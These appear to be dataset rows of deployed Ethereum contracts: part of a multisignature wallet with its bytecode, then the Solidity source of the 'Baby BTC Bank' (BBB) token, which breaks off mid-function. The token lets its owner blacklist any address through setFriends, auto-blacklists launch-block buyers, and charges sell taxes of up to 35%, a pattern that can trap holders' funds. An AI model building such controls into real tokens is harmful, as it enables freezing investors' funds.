using EnumerableSet for EnumerableSet.AddressSet;
event Activate(address indexed sender, bytes32 id);
event Execute(address indexed sender, bytes32 id);
event Sign(address indexed sender, bytes32 id);
event Enable(address indexed sender, address indexed account);
event Disable(address indexed sender, address indexed account);
event Assign(address indexed sender, uint256 oldthreshold, uint256 newthreshold);
struct proposal_t {
address code;
bytes data;
uint256 done;
mapping(address => uint256) signers;
}
mapping(bytes32 => proposal_t) public proposals;
EnumerableSet.AddressSet private _signers;
uint256 public threshold;
constructor(uint256 _threshold, address[] memory _accounts) public {
uint256 _length = _accounts.length;
require(_length >= 1, "Msign.constructor.EID00085");
require(_threshold >= 1 && _threshold <= _length, "Msign.constructor.EID00089");
threshold = _threshold;
for (uint256 i = 0; i < _length; ++i) {
require(_signers.add(_accounts[i]), "Msign.constructor.EID00015");
}
}
modifier auth() {
require(msg.sender == address(this), "Msign.auth.EID00001");
_;
}
modifier signerauth() {
require(_signers.contains(msg.sender), "Msign.ssignauth.EID00082");
_;
}
modifier msignauth(bytes32 id) {
require(mulsignweight(id) >= threshold, "Msign.mulsignauth.EID00083");
_;
}
function gethash(address code, bytes memory data)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(code, data));
}
function activate(address code, bytes memory data)
public
signerauth
returns (bytes32)
{
require(code != address(0), "Msign.activate.code.EID00090");
require(data.length >= 4, "Msign.activate.data.EID00090");
bytes32 _hash = gethash(code, data);
proposals[_hash].code = code;
proposals[_hash].data = data;
emit Activate(msg.sender, _hash);
return _hash;
}
function execute(bytes32 id)
public
msignauth(id)
returns (bool success, bytes memory result)
{
require(proposals[id].done == 0, "Msign.execute.EID00022");
proposals[id].done = 1;
(success, result) = proposals[id].code.call(proposals[id].data);
require(success, "Msign.execute.EID00020");
emit Execute(msg.sender, id);
}
function sign(bytes32 id) public signerauth {
require(proposals[id].signers[msg.sender] == 0, "Msign.sign.EID00084");
proposals[id].signers[msg.sender] = 1;
emit Sign(msg.sender, id);
}
function enable(address account) public auth {
require(_signers.add(account), "Msign.enable.EID00015");
emit Enable(msg.sender, account);
}
function disable(address account) public auth {
require(_signers.remove(account), "Msign.disable.EID00016");
require(_signers.length() >= 1, "Msign.disable.EID00085");
emit Disable(msg.sender, account);
}
function assign(uint256 _threshold) public auth {
require(_threshold >= 1 && _threshold <= _signers.length(), "Msign.assign.EID00089");
emit Assign(msg.sender, threshold, _threshold);
threshold = _threshold;
}
function mulsignweight(bytes32 id) public view returns (uint256) {
uint256 _weights = 0;
for (uint256 i = 0; i < _signers.length(); ++i) {
_weights += proposals[id].signers[_signers.at(i)];
}
return _weights;
}
function signers() public view returns (address[] memory) {
address[] memory values = new address[](_signers.length());
for (uint256 i = 0; i < _signers.length(); ++i) {
values[i] = _signers.at(i);
}
return values;
}
function isSigner(address signer) public view returns (bool) {
return _signers.contains(signer);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806377e1ab031161007157806377e1ab031461018f578063799cd333146101bf5780637df73e27146101db578063e612aac01461020b578063e6c09edf1461023b578063e751f27114610257576100b4565b806332ed5b12146100b9578063351ff34a146100eb57806342cde4e81461011b57806346f0975a146101395780634c081138146101575780635bfa1b6814610173575b600080fd5b6100d360048036036100ce91908101906112c9565b610288565b6040516100e2939291906118c9565b60405180910390f35b61010560048036036101009190810190611275565b61036a565b6040516101129190611974565b60405180910390f35b610123610558565b6040516101309190611b2f565b60405180910390f35b61014161055e565b60405161014e9190611907565b60405180910390f35b610171600480360361016c91908101906112f2565b610620565b005b61018d6004803603610188919081019061124c565b610743565b005b6101a960048036036101a491908101906112c9565b610861565b6040516101b69190611b2f565b60405180910390f35b6101d960048036036101d491908101906112c9565b6108fe565b005b6101f560048036036101f0919081019061124c565b610a8f565b6040516102029190611929565b60405180910390f35b61022560048036036102209190810190611275565b610aac565b6040516102329190611974565b60405180910390f35b6102556004803603610250919081019061124c565b610adf565b005b610271600480360361026c91908101906112c9565b610c4a565b60405161027f929190611944565b60405180910390f35b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035a5780601f1061032f5761010080835404028352916020019161035a565b820191906000526020600020905b81548152906001019060200180831161033d57829003601f168201915b5050505050908060020154905083565b6000610380336001610e5c90919063ffffffff16565b6103bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b6906119ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561042f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042690611a6f565b60405180910390fd5b600482511015610474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046b90611a4f565b60405180910390fd5b60006104808484610aac565b90508360008083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260008083815260200190815260200160002060010190805190602001906104ff929190611114565b503373ffffffffffffffffffffffffffffffffffffffff167fd51860671f4fae701e1e6e99efeeb6f2d67e0d43225ffadb086fa67e73d2024f826040516105469190611974565b60405180910390a28091505092915050565b60035481565b60608061056b6001610e8c565b6040519080825280602002602001820160405280156105995781602001602082028038833980820191505090505b50905060008090505b6105ac6001610e8c565b811015610618576105c7816001610ea190919063ffffffff16565b8282815181106105d357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508060010190506105a2565b508091505090565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590611acf565b60405180910390fd5b600181101580156106a857506106a46001610e8c565b8111155b6106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90611aaf565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f0cdf342f8987c15818b61d7f9f0ddbe9d336d424e1c8aa2228d2fc531379e3d660035483604051610731929190611b4a565b60405180910390a28060038190555050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a890611acf565b60405180910390fd5b6107c5816001610ebb90919063ffffffff16565b610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb90611a8f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fde5e137ba5ac350369870909a472ce1ff0e3724cc369184c7a9dc06fdea77e2e60405160405180910390a350565b6000806000905060008090505b6108786001610e8c565b8110156108f45760008085815260200190815260200160002060030160006108aa836001610ea190919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548201915080600101905061086e565b5080915050919050565b610912336001610e5c90919063ffffffff16565b610951576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610948906119ef565b60405180910390fd5b600080600083815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dd90611b0f565b60405180910390fd5b600160008083815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f80aefaab1c400a701ea2159849b146231d2c7be9b71f2b885ea50e55a64667c682604051610a849190611974565b60405180910390a250565b6000610aa5826001610e5c90919063ffffffff16565b9050919050565b60008282604051602001610ac192919061188a565b60405160208183030381529060405280519060200120905092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490611acf565b60405180910390fd5b610b61816001610eeb90919063ffffffff16565b610ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9790611aef565b60405180910390fd5b6001610bac6001610e8c565b1015610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490611a0f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0b057339f78bd2599a43a662c21ab0f99b47a10b7f01318aedc13a4e69b16b5360405160405180910390a350565b6000606082600354610c5b82610861565b1015610c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9390611a2f565b60405180910390fd5b60008060008681526020019081526020016000206002015414610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb9061198f565b60405180910390fd5b60016000808681526020019081526020016000206002018190555060008085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080868152602001908152602001600020600101604051610d7d91906118b2565b6000604051808303816000865af19150503d8060008114610dba576040519150601f19603f3d011682016040523d82523d6000602084013e610dbf565b606091505b50809350819450505082610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff906119cf565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f64f01fce048339a0335dfd356bde498cb3df0cd3920a550fe130ceb35530b50485604051610e4e9190611974565b60405180910390a250915091565b6000610e84836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610f1b565b905092915050565b6000610e9a82600001610f3e565b9050919050565b6000610eb08360000183610f4f565b60001c905092915050565b6000610ee3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610fbc565b905092915050565b6000610f13836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61102c565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b600081836000018054905011610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f91906119af565b60405180910390fd5b826000018281548110610fa957fe5b9060005260206000200154905092915050565b6000610fc88383610f1b565b611021578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611026565b600090505b92915050565b60008083600101600084815260200190815260200160002054905060008114611108576000600182039050600060018660000180549050039050600086600001828154811061107757fe5b906000526020600020015490508087600001848154811061109457fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806110cc57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061110e565b60009150505b92915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061115557805160ff1916838001178555611183565b82800160010185558215611183579182015b82811115611182578251825591602001919060010190611167565b5b5090506111909190611194565b5090565b6111b691905b808211156111b257600081600090555060010161119a565b5090565b90565b6000813590506111c881611d33565b92915050565b6000813590506111dd81611d4a565b92915050565b600082601f8301126111f457600080fd5b813561120761120282611ba0565b611b73565b9150808252602083016020830185838301111561122357600080fd5b61122e838284611caf565b50505092915050565b60008135905061124681611d61565b92915050565b60006020828403121561125e57600080fd5b600061126c848285016111b9565b91505092915050565b6000806040838503121561128857600080fd5b6000611296858286016111b9565b925050602083013567ffffffffffffffff8111156112b357600080fd5b6112bf858286016111e3565b9150509250929050565b6000602082840312156112db57600080fd5b60006112e9848285016111ce565b91505092915050565b60006020828403121561130457600080fd5b600061131284828501611237565b91505092915050565b60006113278383611333565b60208301905092915050565b61133c81611c5d565b82525050565b61134b81611c5d565b82525050565b61136261135d82611c5d565b611cf1565b82525050565b600061137382611bf1565b61137d8185611c1f565b935061138883611bcc565b8060005b838110156113b95781516113a0888261131b565b97506113ab83611c12565b92505060018101905061138c565b5085935050505092915050565b6113cf81611c6f565b82525050565b6113de81611c7b565b82525050565b60006113ef82611c07565b6113f98185611c30565b9350611409818560208601611cbe565b61141281611d15565b840191505092915050565b600061142882611c07565b6114328185611c41565b9350611442818560208601611cbe565b80840191505092915050565b600061145982611bfc565b6114638185611c30565b9350611473818560208601611cbe565b61147c81611d15565b840191505092915050565b6000815460018116600081146114a457600181146114c95761150d565b607f60028304166114b58187611c41565b955060ff198316865280860193505061150d565b600282046114d78187611c41565b95506114e285611bdc565b60005b82811015611504578154818901526001820191506020810190506114e5565b82880195505050505b505092915050565b6000611522601683611c4c565b91507f4d7369676e2e657865637574652e4549443030303232000000000000000000006000830152602082019050919050565b6000611562602283611c4c565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115c8601683611c4c565b91507f4d7369676e2e657865637574652e4549443030303230000000000000000000006000830152602082019050919050565b6000611608601883611c4c565b91507f4d7369676e2e737369676e617574682e454944303030383200000000000000006000830152602082019050919050565b6000611648601683611c4c565b91507f4d7369676e2e64697361626c652e4549443030303835000000000000000000006000830152602082019050919050565b6000611688601a83611c4c565b91507f4d7369676e2e6d756c7369676e617574682e45494430303038330000000000006000830152602082019050919050565b60006116c8601c83611c4c565b91507f4d7369676e2e61637469766174652e646174612e4549443030303930000000006000830152602082019050919050565b6000611708601c83611c4c565b91507f4d7369676e2e61637469766174652e636f64652e4549443030303930000000006000830152602082019050919050565b6000611748601583611c4c565b91507f4d7369676e2e656e61626c652e454944303030313500000000000000000000006000830152602082019050919050565b6000611788601583611c4c565b91507f4d7369676e2e61737369676e2e454944303030383900000000000000000000006000830152602082019050919050565b60006117c8601383611c4c565b91507f4d7369676e2e617574682e4549443030303031000000000000000000000000006000830152602082019050919050565b6000611808601683611c4c565b91507f4d7369676e2e64697361626c652e4549443030303136000000000000000000006000830152602082019050919050565b6000611848601383611c4c565b91507f4d7369676e2e7369676e2e4549443030303834000000000000000000000000006000830152602082019050919050565b61188481611ca5565b82525050565b60006118968285611351565b6014820191506118a6828461141d565b91508190509392505050565b60006118be8284611487565b915081905092915050565b60006060820190506118de6000830186611342565b81810360208301526118f0818561144e565b90506118ff604083018461187b565b949350505050565b600060208201905081810360008301526119218184611368565b905092915050565b600060208201905061193e60008301846113c6565b92915050565b600060408201905061195960008301856113c6565b818103602083015261196b81846113e4565b90509392505050565b600060208201905061198960008301846113d5565b92915050565b600060208201905081810360008301526119a881611515565b9050919050565b600060208201905081810360008301526119c881611555565b9050919050565b600060208201905081810360008301526119e8816115bb565b9050919050565b60006020820190508181036000830152611a08816115fb565b9050919050565b60006020820190508181036000830152611a288161163b565b9050919050565b60006020820190508181036000830152611a488161167b565b9050919050565b60006020820190508181036000830152611a68816116bb565b9050919050565b60006020820190508181036000830152611a88816116fb565b9050919050565b60006020820190508181036000830152611aa88161173b565b9050919050565b60006020820190508181036000830152611ac88161177b565b9050919050565b60006020820190508181036000830152611ae8816117bb565b9050919050565b60006020820190508181036000830152611b08816117fb565b9050919050565b60006020820190508181036000830152611b288161183b565b9050919050565b6000602082019050611b44600083018461187b565b92915050565b6000604082019050611b5f600083018561187b565b611b6c602083018461187b565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715611b9657600080fd5b8060405250919050565b600067ffffffffffffffff821115611bb757600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000611c6882611c85565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015611cdc578082015181840152602081019050611cc1565b83811115611ceb576000848401525b50505050565b6000611cfc82611d03565b9050919050565b6000611d0e82611d26565b9050919050565b6000601f19601f8301169050919050565b60008160601b9050919050565b611d3c81611c5d565b8114611d4757600080fd5b50565b611d5381611c7b565b8114611d5e57600080fd5b50565b611d6a81611ca5565b8114611d7557600080fd5b5056fea2646970667358221220238270ca33f39063ab487b27ceae31be563cbfd9eb415aa8dac04bb431c948eb64736f6c63430006020033
|
{"success": true, "error": null, "results": {}}
| 9,233 |
0xcac2e4364bab1054a5ac1c1964b4e25eabe92758
|
/**
*
https://t.me/BabyBTCBank
https://twitter.com/BabyBTCBank
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BBB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Baby BTC Bank";
string private constant _symbol = unicode" BBB ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
